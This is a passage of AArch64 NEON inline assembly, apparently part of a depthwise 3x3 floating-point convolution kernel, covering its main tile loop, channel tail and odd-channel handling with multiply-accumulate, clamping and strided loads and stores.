"ldr q9, [x13, x10]\n"
"fmla v31.4s, v0.4s, v10.4s\n"
"ld1 { v10.4s }, [x11]\n"
"mov v28.16b, v13.16b\n fmla v28.4s, v2.4s, v11.4s\n"
"ldr q11, [x11, x27]\n"
"fmla v30.4s, v8.4s, v12.4s\n"
"fmla v29.4s, v7.4s, v12.4s\n"
"fmla v26.4s, v5.4s, v12.4s\n"
"fmla v28.4s, v6.4s, v12.4s\n"
"fmla v25.4s, v4.4s, v12.4s\n"
"mov v24.16b, v13.16b\n fmla v24.4s, v3.4s, v12.4s\n"
"fmla v22.4s, v2.4s, v12.4s\n"
"fmla v21.4s, v1.4s, v12.4s\n"
"mov v20.16b, v13.16b\n fmla v20.4s, v0.4s, v12.4s\n"
"ldr q12, [x8, x6]\n"
"mov v19.16b, v13.16b\n fmla v19.4s, v6.4s, v10.4s\n"
"ldr q10, [x13, x9]\n"
"mov v16.16b, v13.16b\n fmla v16.4s, v8.4s, v11.4s\n"
"ldr q11, [x8, x28]\n"
"fmla v27.4s, v8.4s, v9.4s\n"
"fmla v26.4s, v7.4s, v9.4s\n"
"fmla v25.4s, v6.4s, v9.4s\n"
"fmla v23.4s, v5.4s, v9.4s\n"
"fmla v22.4s, v4.4s, v9.4s\n"
"fmla v21.4s, v3.4s, v9.4s\n"
"fmla v19.4s, v2.4s, v9.4s\n"
"mov v18.16b, v13.16b\n fmla v18.4s, v1.4s, v9.4s\n"
"mov v17.16b, v13.16b\n fmla v17.4s, v0.4s, v9.4s\n"
"ld1 { v9.4s }, [x15]\n"
"fmla v31.4s, v1.4s, v12.4s\n"
"ldr q13, [x5, #0x0]\n"
"fmla v30.4s, v0.4s, v12.4s\n"
"ldr q12, [x15, x27]\n"
"fmla v29.4s, v2.4s, v11.4s\n"
"fmla v28.4s, v1.4s, v11.4s\n"
"ld1 { v11.4s }, [x12]\n"
"fmla v26.4s, v8.4s, v10.4s\n"
"fmla v25.4s, v7.4s, v10.4s\n"
"fmla v24.4s, v6.4s, v10.4s\n"
"fmla v22.4s, v5.4s, v10.4s\n"
"fmla v21.4s, v4.4s, v10.4s\n"
"fmla v20.4s, v3.4s, v10.4s\n"
"fmla v18.4s, v2.4s, v10.4s\n"
"fmla v17.4s, v1.4s, v10.4s\n"
"fmla v16.4s, v0.4s, v10.4s\n"
"ldr q10, [x15, x10]\n"
"fmla v31.4s, v3.4s, v9.4s\n"
"fmla v27.4s, v0.4s, v9.4s\n"
"fmla v28.4s, v5.4s, v12.4s\n"
"fmla v24.4s, v2.4s, v12.4s\n"
"ldr q12, [x15, x9]\n"
"fmla v23.4s, v6.4s, v11.4s\n"
"fmla v19.4s, v3.4s, v11.4s\n"
"ldr q11, [x12, x27]\n"
"fmla v31.4s, v5.4s, v10.4s\n"
"fmla v30.4s, v4.4s, v10.4s\n"
"fmla v29.4s, v3.4s, v10.4s\n"
"fmla v27.4s, v2.4s, v10.4s\n"
"fmla v26.4s, v1.4s, v10.4s\n"
"fmla v25.4s, v0.4s, v10.4s\n"
"ldr q10, [x14, x6]\n"
"fmla v20.4s, v8.4s, v11.4s\n"
"fmla v16.4s, v5.4s, v11.4s\n"
"ldr q11, [x11, x6]\n"
"fmla v30.4s, v5.4s, v12.4s\n"
"fmla v29.4s, v4.4s, v12.4s\n"
"fmla v28.4s, v3.4s, v12.4s\n"
"fmla v26.4s, v2.4s, v12.4s\n"
"fmla v25.4s, v1.4s, v12.4s\n"
"fmla v24.4s, v0.4s, v12.4s\n"
"ldr q12, [x14, x28]\n"
"fmla v19.4s, v7.4s, v11.4s\n"
"fmla v18.4s, v6.4s, v11.4s\n"
"ldr q11, [x11, x28]\n"
"fmla v31.4s, v7.4s, v10.4s\n"
"fmla v30.4s, v6.4s, v10.4s\n"
"fmla v27.4s, v4.4s, v10.4s\n"
"fmla v26.4s, v3.4s, v10.4s\n"
"fmla v23.4s, v1.4s, v10.4s\n"
"fmla v22.4s, v0.4s, v10.4s\n"
"ldr q10, [x8, x10]\n"
"fmla v17.4s, v8.4s, v11.4s\n"
"fmla v16.4s, v7.4s, v11.4s\n"
"ldr q11, [x13, x6]\n"
"fmla v29.4s, v8.4s, v12.4s\n"
"fmla v28.4s, v7.4s, v12.4s\n"
"fmla v25.4s, v5.4s, v12.4s\n"
"fmla v24.4s, v4.4s, v12.4s\n"
"fmla v21.4s, v2.4s, v12.4s\n"
"fmla v20.4s, v1.4s, v12.4s\n"
"ldr q12, [x8, x9]\n"
"add x8, x8, #0x10\n"
"fmla v31.4s, v2.4s, v10.4s\n"
"fmla v30.4s, v1.4s, v10.4s\n"
"fmla v29.4s, v0.4s, v10.4s\n"
"ld1 { v10.4s }, [x14]\n"
"fmla v27.4s, v7.4s, v11.4s\n"
"fmla v26.4s, v6.4s, v11.4s\n"
"fmla v23.4s, v4.4s, v11.4s\n"
"fmla v22.4s, v3.4s, v11.4s\n"
"fmla v19.4s, v1.4s, v11.4s\n"
"fmla v18.4s, v0.4s, v11.4s\n"
"ldr q11, [x13, x28]\n"
"fmla v30.4s, v2.4s, v12.4s\n"
"fmla v29.4s, v1.4s, v12.4s\n"
"fmla v28.4s, v0.4s, v12.4s\n"
"ldr q12, [x14, x27]\n"
"add x14, x14, #0x10\n"
"fmla v31.4s, v6.4s, v10.4s\n"
"ldr q9, [x14, x10]\n"
"fmla v27.4s, v3.4s, v10.4s\n"
"fmla v23.4s, v0.4s, v10.4s\n"
"ld1 { v10.4s }, [x13]\n"
"fmla v25.4s, v8.4s, v11.4s\n"
"fmla v24.4s, v7.4s, v11.4s\n"
"fmla v21.4s, v5.4s, v11.4s\n"
"fmla v20.4s, v4.4s, v11.4s\n"
"fmla v17.4s, v2.4s, v11.4s\n"
"fmla v16.4s, v1.4s, v11.4s\n"
"ldr q11, [x12, x10]\n"
"fmla v28.4s, v8.4s, v12.4s\n"
"fmla v24.4s, v5.4s, v12.4s\n"
"fmla v20.4s, v2.4s, v12.4s\n"
"ldr q12, [x13, x27]\n"
"add x13, x13, #0x10\n"
"fmla v27.4s, v6.4s, v10.4s\n"
"fmla v23.4s, v3.4s, v10.4s\n"
"fmla v19.4s, v0.4s, v10.4s\n"
"ldr q10, [x11, x10]\n"
"fmla v22.4s, v7.4s, v11.4s\n"
"fmla v21.4s, v6.4s, v11.4s\n"
"fmla v23.4s, v8.4s, v11.4s\n"
"fmla v19.4s, v5.4s, v11.4s\n"
"fmla v18.4s, v4.4s, v11.4s\n"
"fmla v17.4s, v3.4s, v11.4s\n"
"ldr q11, [x12, x9]\n"
"fmla v24.4s, v8.4s, v12.4s\n"
"fmla v20.4s, v5.4s, v12.4s\n"
"fmla v16.4s, v2.4s, v12.4s\n"
"ldr q12, [x11, x9]\n"
"add x11, x11, #0x10\n"
"fmla v19.4s, v8.4s, v10.4s\n"
"fmla v18.4s, v7.4s, v10.4s\n"
"fmla v17.4s, v6.4s, v10.4s\n"
"ldr q10, [x15, x6]\n"
"fmla v22.4s, v8.4s, v11.4s\n"
"fmla v21.4s, v7.4s, v11.4s\n"
"fmla v20.4s, v6.4s, v11.4s\n"
"fmla v18.4s, v5.4s, v11.4s\n"
"fmla v17.4s, v4.4s, v11.4s\n"
"fmla v16.4s, v3.4s, v11.4s\n"
"ldr q11, [x15, x28]\n"
"add x15, x15, #0x10\n"
"fmla v18.4s, v8.4s, v12.4s\n"
"fmla v31.4s, v4.4s, v10.4s\n"
"fmla v17.4s, v7.4s, v12.4s\n"
"fmla v16.4s, v6.4s, v12.4s\n"
"ldr q12, [x12, x6]\n"
"fmla v30.4s, v3.4s, v10.4s\n"
"fmla v27.4s, v1.4s, v10.4s\n"
"fmla v26.4s, v0.4s, v10.4s\n"
"ldr q10, [x12, x28]\n"
"add x12, x12, #0x10\n"
"fmla v29.4s, v5.4s, v11.4s\n"
"ldr q0, [x5, #0x10]\n"
"fmla v28.4s, v4.4s, v11.4s\n"
"fmla v25.4s, v2.4s, v11.4s\n"
"ldr q2, [x5, #0x30]\n"
"fmla v24.4s, v1.4s, v11.4s\n"
"ldr q11, [x8, x27]\n"
"fmla v23.4s, v7.4s, v12.4s\n"
"ldr q1, [x5, #0x20]\n"
"fmla v22.4s, v6.4s, v12.4s\n"
"ldr q6, [x5, #0x70]\n"
"fmla v19.4s, v4.4s, v12.4s\n"
"fmla v18.4s, v3.4s, v12.4s\n"
"ldr q12, [x14, x9]\n"
"fmla v21.4s, v8.4s, v10.4s\n"
"ldr q3, [x5, #0x40]\n"
"fmla v20.4s, v7.4s, v10.4s\n"
"ldr q7, [x5, #0x80]\n"
"fmla v17.4s, v5.4s, v10.4s\n"
"ldr q5, [x5, #0x60]\n"
"fmla v16.4s, v4.4s, v10.4s\n"
"ld1 { v10.4s }, [x8]\n"
"fmax v31.4s, v31.4s, v15.4s\n"
"ldr q4, [x5, #0x50]\n"
"fmax v30.4s, v30.4s, v15.4s\n"
"ldr q8, [x5, #0x90]\n"
"add x5, x5, #0xa0\n"
"fmin v31.4s, v31.4s, v14.4s\n"
"st1 { v31.4s }, [x16]\n"
"fmin v30.4s, v30.4s, v14.4s\n"
"fmax v29.4s, v29.4s, v15.4s\n"
"str q30, [x16, x17]\n"
"fmin v29.4s, v29.4s, v14.4s\n"
"fmax v28.4s, v28.4s, v15.4s\n"
"str q29, [x16, x23]\n"
"fmin v28.4s, v28.4s, v14.4s\n"
"fmax v27.4s, v27.4s, v15.4s\n"
"str q28, [x16, x22]\n"
"fmin v27.4s, v27.4s, v14.4s\n"
"add x16, x16, #0x10\n"
"fmax v26.4s, v26.4s, v15.4s\n"
"st1 { v27.4s }, [x26]\n"
"fmax v25.4s, v25.4s, v15.4s\n"
"fmax v24.4s, v24.4s, v15.4s\n"
"fmin v26.4s, v26.4s, v14.4s\n"
"str q26, [x26, x17]\n"
"fmin v25.4s, v25.4s, v14.4s\n"
"fmin v24.4s, v24.4s, v14.4s\n"
"str q25, [x26, x23]\n"
"fmax v23.4s, v23.4s, v15.4s\n"
"fmax v22.4s, v22.4s, v15.4s\n"
"str q24, [x26, x22]\n"
"add x26, x26, #0x10\n"
"fmax v21.4s, v21.4s, v15.4s\n"
"fmax v20.4s, v20.4s, v15.4s\n"
"fmin v23.4s, v23.4s, v14.4s\n"
"st1 { v23.4s }, [x25]\n"
"fmin v22.4s, v22.4s, v14.4s\n"
"fmin v21.4s, v21.4s, v14.4s\n"
"str q22, [x25, x17]\n"
"fmin v20.4s, v20.4s, v14.4s\n"
"fmax v19.4s, v19.4s, v15.4s\n"
"str q21, [x25, x23]\n"
"fmax v18.4s, v18.4s, v15.4s\n"
"str q20, [x25, x22]\n"
"fmin v19.4s, v19.4s, v14.4s\n"
"add x25, x25, #0x10\n"
"fmin v18.4s, v18.4s, v14.4s\n"
"st1 { v19.4s }, [x24]\n"
"fmax v17.4s, v17.4s, v15.4s\n"
"fmax v16.4s, v16.4s, v15.4s\n"
"str q18, [x24, x17]\n"
"fmin v17.4s, v17.4s, v14.4s\n"
"str q17, [x24, x23]\n"
"fmin v16.4s, v16.4s, v14.4s\n"
"str q16, [x24, x22]\n"
"add x24, x24, #0x10\n"
"blt 2b\n"
"3:" // Tile loop: Channel tail
"mov v31.16b, v13.16b\n fmla v31.4s, v8.4s, v9.4s\n"
"mov v30.16b, v13.16b\n fmla v30.4s, v7.4s, v9.4s\n"
"mov v29.16b, v13.16b\n fmla v29.4s, v6.4s, v9.4s\n"
"mov v27.16b, v13.16b\n fmla v27.4s, v5.4s, v9.4s\n"
"mov v26.16b, v13.16b\n fmla v26.4s, v4.4s, v9.4s\n"
"mov v25.16b, v13.16b\n fmla v25.4s, v3.4s, v9.4s\n"
"mov v23.16b, v13.16b\n fmla v23.4s, v2.4s, v9.4s\n"
"mov v22.16b, v13.16b\n fmla v22.4s, v1.4s, v9.4s\n"
"mov v21.16b, v13.16b\n fmla v21.4s, v0.4s, v9.4s\n"
"ldr q9, [x13, x10]\n"
"fmla v31.4s, v0.4s, v10.4s\n"
"ld1 { v10.4s }, [x11]\n"
"mov v28.16b, v13.16b\n fmla v28.4s, v2.4s, v11.4s\n"
"ldr q11, [x11, x27]\n"
"fmla v30.4s, v8.4s, v12.4s\n"
"fmla v29.4s, v7.4s, v12.4s\n"
"fmla v26.4s, v5.4s, v12.4s\n"
"fmla v28.4s, v6.4s, v12.4s\n"
"fmla v25.4s, v4.4s, v12.4s\n"
"mov v24.16b, v13.16b\n fmla v24.4s, v3.4s, v12.4s\n"
"fmla v22.4s, v2.4s, v12.4s\n"
"fmla v21.4s, v1.4s, v12.4s\n"
"mov v20.16b, v13.16b\n fmla v20.4s, v0.4s, v12.4s\n"
"ldr q12, [x8, x6]\n"
"mov v19.16b, v13.16b\n fmla v19.4s, v6.4s, v10.4s\n"
"ldr q10, [x13, x9]\n"
"mov v16.16b, v13.16b\n fmla v16.4s, v8.4s, v11.4s\n"
"ldr q11, [x8, x28]\n"
"fmla v27.4s, v8.4s, v9.4s\n"
"fmla v26.4s, v7.4s, v9.4s\n"
"fmla v25.4s, v6.4s, v9.4s\n"
"fmla v23.4s, v5.4s, v9.4s\n"
"fmla v22.4s, v4.4s, v9.4s\n"
"fmla v21.4s, v3.4s, v9.4s\n"
"fmla v19.4s, v2.4s, v9.4s\n"
"mov v18.16b, v13.16b\n fmla v18.4s, v1.4s, v9.4s\n"
"mov v17.16b, v13.16b\n fmla v17.4s, v0.4s, v9.4s\n"
"ld1 { v9.4s }, [x15]\n"
"fmla v31.4s, v1.4s, v12.4s\n"
"fmla v30.4s, v0.4s, v12.4s\n"
"ldr q12, [x15, x27]\n"
"fmla v29.4s, v2.4s, v11.4s\n"
"fmla v28.4s, v1.4s, v11.4s\n"
"ld1 { v11.4s }, [x12]\n"
"fmla v26.4s, v8.4s, v10.4s\n"
"fmla v25.4s, v7.4s, v10.4s\n"
"fmla v24.4s, v6.4s, v10.4s\n"
"fmla v22.4s, v5.4s, v10.4s\n"
"fmla v21.4s, v4.4s, v10.4s\n"
"fmla v20.4s, v3.4s, v10.4s\n"
"fmla v18.4s, v2.4s, v10.4s\n"
"fmla v17.4s, v1.4s, v10.4s\n"
"fmla v16.4s, v0.4s, v10.4s\n"
"ldr q10, [x15, x10]\n"
"fmla v31.4s, v3.4s, v9.4s\n"
"fmla v27.4s, v0.4s, v9.4s\n"
"fmla v28.4s, v5.4s, v12.4s\n"
"fmla v24.4s, v2.4s, v12.4s\n"
"ldr q12, [x15, x9]\n"
"fmla v23.4s, v6.4s, v11.4s\n"
"fmla v19.4s, v3.4s, v11.4s\n"
"ldr q11, [x12, x27]\n"
"fmla v31.4s, v5.4s, v10.4s\n"
"fmla v30.4s, v4.4s, v10.4s\n"
"fmla v29.4s, v3.4s, v10.4s\n"
"fmla v27.4s, v2.4s, v10.4s\n"
"fmla v26.4s, v1.4s, v10.4s\n"
"fmla v25.4s, v0.4s, v10.4s\n"
"ldr q10, [x14, x6]\n"
"fmla v20.4s, v8.4s, v11.4s\n"
"fmla v16.4s, v5.4s, v11.4s\n"
"ldr q11, [x11, x6]\n"
"fmla v30.4s, v5.4s, v12.4s\n"
"fmla v29.4s, v4.4s, v12.4s\n"
"fmla v28.4s, v3.4s, v12.4s\n"
"fmla v26.4s, v2.4s, v12.4s\n"
"fmla v25.4s, v1.4s, v12.4s\n"
"fmla v24.4s, v0.4s, v12.4s\n"
"ldr q12, [x14, x28]\n"
"fmla v19.4s, v7.4s, v11.4s\n"
"fmla v18.4s, v6.4s, v11.4s\n"
"ldr q11, [x11, x28]\n"
"fmla v31.4s, v7.4s, v10.4s\n"
"fmla v30.4s, v6.4s, v10.4s\n"
"fmla v27.4s, v4.4s, v10.4s\n"
"fmla v26.4s, v3.4s, v10.4s\n"
"fmla v23.4s, v1.4s, v10.4s\n"
"fmla v22.4s, v0.4s, v10.4s\n"
"ldr q10, [x8, x10]\n"
"fmla v17.4s, v8.4s, v11.4s\n"
"fmla v16.4s, v7.4s, v11.4s\n"
"ldr q11, [x13, x6]\n"
"fmla v29.4s, v8.4s, v12.4s\n"
"fmla v28.4s, v7.4s, v12.4s\n"
"fmla v25.4s, v5.4s, v12.4s\n"
"fmla v24.4s, v4.4s, v12.4s\n"
"fmla v21.4s, v2.4s, v12.4s\n"
"fmla v20.4s, v1.4s, v12.4s\n"
"ldr q12, [x8, x9]\n"
"add x8, x8, #0x10\n"
"fmla v31.4s, v2.4s, v10.4s\n"
"fmla v30.4s, v1.4s, v10.4s\n"
"fmla v29.4s, v0.4s, v10.4s\n"
"ld1 { v10.4s }, [x14]\n"
"fmla v27.4s, v7.4s, v11.4s\n"
"fmla v26.4s, v6.4s, v11.4s\n"
"fmla v23.4s, v4.4s, v11.4s\n"
"fmla v22.4s, v3.4s, v11.4s\n"
"fmla v19.4s, v1.4s, v11.4s\n"
"fmla v18.4s, v0.4s, v11.4s\n"
"ldr q11, [x13, x28]\n"
"fmla v30.4s, v2.4s, v12.4s\n"
"fmla v29.4s, v1.4s, v12.4s\n"
"fmla v28.4s, v0.4s, v12.4s\n"
"ldr q12, [x14, x27]\n"
"add x14, x14, #0x10\n"
"fmla v31.4s, v6.4s, v10.4s\n"
"fmla v27.4s, v3.4s, v10.4s\n"
"fmla v23.4s, v0.4s, v10.4s\n"
"ld1 { v10.4s }, [x13]\n"
"fmla v25.4s, v8.4s, v11.4s\n"
"fmla v24.4s, v7.4s, v11.4s\n"
"fmla v21.4s, v5.4s, v11.4s\n"
"fmla v20.4s, v4.4s, v11.4s\n"
"fmla v17.4s, v2.4s, v11.4s\n"
"fmla v16.4s, v1.4s, v11.4s\n"
"ldr q11, [x12, x10]\n"
"fmla v28.4s, v8.4s, v12.4s\n"
"fmla v24.4s, v5.4s, v12.4s\n"
"fmla v20.4s, v2.4s, v12.4s\n"
"ldr q12, [x13, x27]\n"
"add x13, x13, #0x10\n"
"fmla v27.4s, v6.4s, v10.4s\n"
"fmla v23.4s, v3.4s, v10.4s\n"
"fmla v19.4s, v0.4s, v10.4s\n"
"ldr q10, [x11, x10]\n"
"fmla v22.4s, v7.4s, v11.4s\n"
"fmla v21.4s, v6.4s, v11.4s\n"
"fmla v23.4s, v8.4s, v11.4s\n"
"fmla v19.4s, v5.4s, v11.4s\n"
"fmla v18.4s, v4.4s, v11.4s\n"
"fmla v17.4s, v3.4s, v11.4s\n"
"ldr q11, [x12, x9]\n"
"fmla v24.4s, v8.4s, v12.4s\n"
"fmla v20.4s, v5.4s, v12.4s\n"
"fmla v16.4s, v2.4s, v12.4s\n"
"ldr q12, [x11, x9]\n"
"add x11, x11, #0x10\n"
"fmla v19.4s, v8.4s, v10.4s\n"
"fmla v18.4s, v7.4s, v10.4s\n"
"fmla v17.4s, v6.4s, v10.4s\n"
"ldr q10, [x15, x6]\n"
"fmla v22.4s, v8.4s, v11.4s\n"
"fmla v21.4s, v7.4s, v11.4s\n"
"fmla v20.4s, v6.4s, v11.4s\n"
"fmla v18.4s, v5.4s, v11.4s\n"
"fmla v17.4s, v4.4s, v11.4s\n"
"fmla v16.4s, v3.4s, v11.4s\n"
"ldr q11, [x15, x28]\n"
"add x15, x15, #0x10\n"
"fmla v18.4s, v8.4s, v12.4s\n"
"fmla v31.4s, v4.4s, v10.4s\n"
"fmla v17.4s, v7.4s, v12.4s\n"
"fmla v16.4s, v6.4s, v12.4s\n"
"ldr q12, [x12, x6]\n"
"fmla v30.4s, v3.4s, v10.4s\n"
"fmla v27.4s, v1.4s, v10.4s\n"
"fmla v26.4s, v0.4s, v10.4s\n"
"ldr q10, [x12, x28]\n"
"add x12, x12, #0x10\n"
"fmla v29.4s, v5.4s, v11.4s\n"
"fmla v28.4s, v4.4s, v11.4s\n"
"fmla v25.4s, v2.4s, v11.4s\n"
"fmla v24.4s, v1.4s, v11.4s\n"
"fmla v23.4s, v7.4s, v12.4s\n"
"fmla v22.4s, v6.4s, v12.4s\n"
"fmla v19.4s, v4.4s, v12.4s\n"
"fmla v18.4s, v3.4s, v12.4s\n"
"fmla v21.4s, v8.4s, v10.4s\n"
"fmla v20.4s, v7.4s, v10.4s\n"
"fmla v17.4s, v5.4s, v10.4s\n"
"fmla v16.4s, v4.4s, v10.4s\n"
"fmax v31.4s, v31.4s, v15.4s\n"
"fmax v30.4s, v30.4s, v15.4s\n"
"fmax v29.4s, v29.4s, v15.4s\n"
"fmin v31.4s, v31.4s, v14.4s\n"
"st1 { v31.4s }, [x16]\n"
"fmin v30.4s, v30.4s, v14.4s\n"
"fmin v29.4s, v29.4s, v14.4s\n"
"str q30, [x16, x17]\n"
"fmax v28.4s, v28.4s, v15.4s\n"
"fmax v27.4s, v27.4s, v15.4s\n"
"str q29, [x16, x23]\n"
"fmax v26.4s, v26.4s, v15.4s\n"
"fmax v25.4s, v25.4s, v15.4s\n"
"fmin v28.4s, v28.4s, v14.4s\n"
"str q28, [x16, x22]\n"
"fmin v27.4s, v27.4s, v14.4s\n"
"add x16, x16, #0x10\n"
"fmin v26.4s, v26.4s, v14.4s\n"
"st1 { v27.4s }, [x26]\n"
"fmin v25.4s, v25.4s, v14.4s\n"
"fmax v24.4s, v24.4s, v15.4s\n"
"str q26, [x26, x17]\n"
"fmax v23.4s, v23.4s, v15.4s\n"
"str q25, [x26, x23]\n"
"fmin v24.4s, v24.4s, v14.4s\n"
"fmax v22.4s, v22.4s, v15.4s\n"
"str q24, [x26, x22]\n"
"fmin v23.4s, v23.4s, v14.4s\n"
"add x26, x26, #0x10\n"
"fmin v22.4s, v22.4s, v14.4s\n"
"st1 { v23.4s }, [x25]\n"
"fmax v21.4s, v21.4s, v15.4s\n"
"fmax v20.4s, v20.4s, v15.4s\n"
"str q22, [x25, x17]\n"
"fmax v19.4s, v19.4s, v15.4s\n"
"fmax v18.4s, v18.4s, v15.4s\n"
"fmin v21.4s, v21.4s, v14.4s\n"
"str q21, [x25, x23]\n"
"fmin v20.4s, v20.4s, v14.4s\n"
"fmin v19.4s, v19.4s, v14.4s\n"
"str q20, [x25, x22]\n"
"fmin v18.4s, v18.4s, v14.4s\n"
"add x25, x25, #0x10\n"
"fmax v17.4s, v17.4s, v15.4s\n"
"st1 { v19.4s }, [x24]\n"
"fmax v16.4s, v16.4s, v15.4s\n"
"str q18, [x24, x17]\n"
"fmin v17.4s, v17.4s, v14.4s\n"
"str q17, [x24, x23]\n"
"fmin v16.4s, v16.4s, v14.4s\n"
"str q16, [x24, x22]\n"
"add x24, x24, #0x10\n"
"4:" // Tile loop: Oddments
"tst %x[n_channels], #0x3\n"
"beq 73f\n"
"ldr q13, [x5, #0x0]\n"
"ldr q0, [x5, #0x10]\n"
"add x22, x14, x10\n"
"ldr q1, [x5, #0x20]\n"
"add x21, x8, XZR\n"
"ldr q2, [x5, #0x30]\n"
"add x20, x8, x27\n"
"ldr q3, [x5, #0x40]\n"
"add x19, x14, x9\n"
"ldr q4, [x5, #0x50]\n"
"ldr q5, [x5, #0x60]\n"
"ldr q6, [x5, #0x70]\n"
"ldr q7, [x5, #0x80]\n"
"ldr q8, [x5, #0x90]\n"
"tbz %x[n_channels], #1, 5f\n"
"ldr d9, [x22], #0x8\n"
"ldr d10, [x21], #0x8\n"
"ldr d11, [x20], #0x8\n"
"ldr d12, [x19], #0x8\n"
"tbz %x[n_channels], #0, 6f\n"
"ld1 { v9.s }[2], [x22]\n"
"ld1 { v10.s }[2], [x21]\n"
"ld1 { v11.s }[2], [x20]\n"
"ld1 { v12.s }[2], [x19]\n"
"b 6f\n"
"5:" // Tile loop: Oddments: Load inputs: (2, 2), (0, 0), (0, 5), (2, 3): Bit 1: Unset
"ldr s9, [x22, #0x0]\n"
"ldr s10, [x21, #0x0]\n"
"ldr s11, [x20, #0x0]\n"
"ldr s12, [x19, #0x0]\n"
"6:" // Tile loop: Oddments: Load inputs: (2, 2), (0, 0), (0, 5), (2, 3): Bit 1: End
"mov v31.16b, v13.16b\n fmla v31.4s, v8.4s, v9.4s\n"
"add x19, x11, XZR\n"
"mov v30.16b, v13.16b\n fmla v30.4s, v7.4s, v9.4s\n"
"mov v29.16b, v13.16b\n fmla v29.4s, v6.4s, v9.4s\n"
"mov v27.16b, v13.16b\n fmla v27.4s, v5.4s, v9.4s\n"
"mov v26.16b, v13.16b\n fmla v26.4s, v4.4s, v9.4s\n"
"mov v25.16b, v13.16b\n fmla v25.4s, v3.4s, v9.4s\n"
"mov v23.16b, v13.16b\n fmla v23.4s, v2.4s, v9.4s\n"
"mov v22.16b, v13.16b\n fmla v22.4s, v1.4s, v9.4s\n"
"mov v21.16b, v13.16b\n fmla v21.4s, v0.4s, v9.4s\n"
"fmla v31.4s, v0.4s, v10.4s\n"
"mov v28.16b, v13.16b\n fmla v28.4s, v2.4s, v11.4s\n"
"fmla v30.4s, v8.4s, v12.4s\n"
"fmla v29.4s, v7.4s, v12.4s\n"
"fmla v26.4s, v5.4s, v12.4s\n"
"fmla v28.4s, v6.4s, v12.4s\n"
"fmla v25.4s, v4.4s, v12.4s\n"
"mov v24.16b, v13.16b\n fmla v24.4s, v3.4s, v12.4s\n"
"fmla v22.4s, v2.4s, v12.4s\n"
"fmla v21.4s, v1.4s, v12.4s\n"
"mov v20.16b, v13.16b\n fmla v20.4s, v0.4s, v12.4s\n"
"tbz %x[n_channels], #1, 7f\n"
"ldr d10, [x19], #0x8\n"
"tbz %x[n_channels], #0, 8f\n"
"ld1 { v10.s }[2], [x19]\n"
"b 8f\n"
"7:" // Tile loop: Oddments: Load inputs: (5, 0): Bit 1: Unset
"ldr s10, [x19, #0x0]\n"
"8:" // Tile loop: Oddments: Load inputs: (5, 0): Bit 1: End
"mov v19.16b, v13.16b\n fmla v19.4s, v6.4s, v10.4s\n"
"add x19, x11, x27\n"
"tbz %x[n_channels], #1, 9f\n"
"ldr d11, [x19], #0x8\n"
"tbz %x[n_channels], #0, 10f\n"
"ld1 { v11.s }[2], [x19]\n"
"b 10f\n"
"9:" // Tile loop: Oddments: Load inputs: (5, 5): Bit 1: Unset
"ldr s11, [x19, #0x0]\n"
"10:" // Tile loop: Oddments: Load inputs: (5, 5): Bit 1: End
"mov v16.16b, v13.16b\n fmla v16.4s, v8.4s, v11.4s\n"
"add x19, x13, x10\n"
"tbz %x[n_channels], #1, 11f\n"
"ldr d9, [x19], #0x8\n"
"tbz %x[n_channels], #0, 12f\n"
"ld1 { v9.s }[2], [x19]\n"
"b 12f\n"
"11:" // Tile loop: Oddments: Load inputs: (3, 2): Bit 1: Unset
"ldr s9, [x19, #0x0]\n"
"12:" // Tile loop: Oddments: Load inputs: (3, 2): Bit 1: End
"fmla v27.4s, v8.4s, v9.4s\n"
"add x19, x8, x6\n"
"fmla v26.4s, v7.4s, v9.4s\n"
"fmla v25.4s, v6.4s, v9.4s\n"
"fmla v23.4s, v5.4s, v9.4s\n"
"fmla v22.4s, v4.4s, v9.4s\n"
"fmla v21.4s, v3.4s, v9.4s\n"
"fmla v19.4s, v2.4s, v9.4s\n"
"mov v18.16b, v13.16b\n fmla v18.4s, v1.4s, v9.4s\n"
"mov v17.16b, v13.16b\n fmla v17.4s, v0.4s, v9.4s\n"
"tbz %x[n_channels], #1, 13f\n"
"ldr d12, [x19], #0x8\n"
"tbz %x[n_channels], #0, 14f\n"
"ld1 { v12.s }[2], [x19]\n"
"b 14f\n"
"13:" // Tile loop: Oddments: Load inputs: (0, 1): Bit 1: Unset
"ldr s12, [x19, #0x0]\n"
"14:" // Tile loop: Oddments: Load inputs: (0, 1): Bit 1: End
"fmla v31.4s, v1.4s, v12.4s\n"
"add x19, x8, x28\n"
"fmla v30.4s, v0.4s, v12.4s\n"
"tbz %x[n_channels], #1, 15f\n"
"ldr d11, [x19], #0x8\n"
"tbz %x[n_channels], #0, 16f\n"
"ld1 { v11.s }[2], [x19]\n"
"b 16f\n"
"15:" // Tile loop: Oddments: Load inputs: (0, 4): Bit 1: Unset
"ldr s11, [x19, #0x0]\n"
"16:" // Tile loop: Oddments: Load inputs: (0, 4): Bit 1: End
"fmla v29.4s, v2.4s, v11.4s\n"
"add x19, x13, x9\n"
"fmla v28.4s, v1.4s, v11.4s\n"
"tbz %x[n_channels], #1, 17f\n"
"ldr d10, [x19], #0x8\n"
"tbz %x[n_channels], #0, 18f\n"
"ld1 { v10.s }[2], [x19]\n"
"b 18f\n"
"17:" // Tile loop: Oddments: Load inputs: (3, 3): Bit 1: Unset
"ldr s10, [x19, #0x0]\n"
"18:" // Tile loop: Oddments: Load inputs: (3, 3): Bit 1: End
"fmla v26.4s, v8.4s, v10.4s\n"
"add x19, x15, XZR\n"
"fmla v25.4s, v7.4s, v10.4s\n"
"fmla v24.4s, v6.4s, v10.4s\n"
"fmla v22.4s, v5.4s, v10.4s\n"
"fmla v21.4s, v4.4s, v10.4s\n"
"fmla v20.4s, v3.4s, v10.4s\n"
"fmla v18.4s, v2.4s, v10.4s\n"
"fmla v17.4s, v1.4s, v10.4s\n"
"fmla v16.4s, v0.4s, v10.4s\n"
"tbz %x[n_channels], #1, 19f\n"
"ldr d9, [x19], #0x8\n"
"tbz %x[n_channels], #0, 20f\n"
"ld1 { v9.s }[2], [x19]\n"
"b 20f\n"
"19:" // Tile loop: Oddments: Load inputs: (1, 0): Bit 1: Unset
"ldr s9, [x19, #0x0]\n"
"20:" // Tile loop: Oddments: Load inputs: (1, 0): Bit 1: End
"fmla v31.4s, v3.4s, v9.4s\n"
"add x19, x15, x27\n"
"fmla v27.4s, v0.4s, v9.4s\n"
"tbz %x[n_channels], #1, 21f\n"
"ldr d12, [x19], #0x8\n"
"tbz %x[n_channels], #0, 22f\n"
"ld1 { v12.s }[2], [x19]\n"
"b 22f\n"
"21:" // Tile loop: Oddments: Load inputs: (1, 5): Bit 1: Unset
"ldr s12, [x19, #0x0]\n"
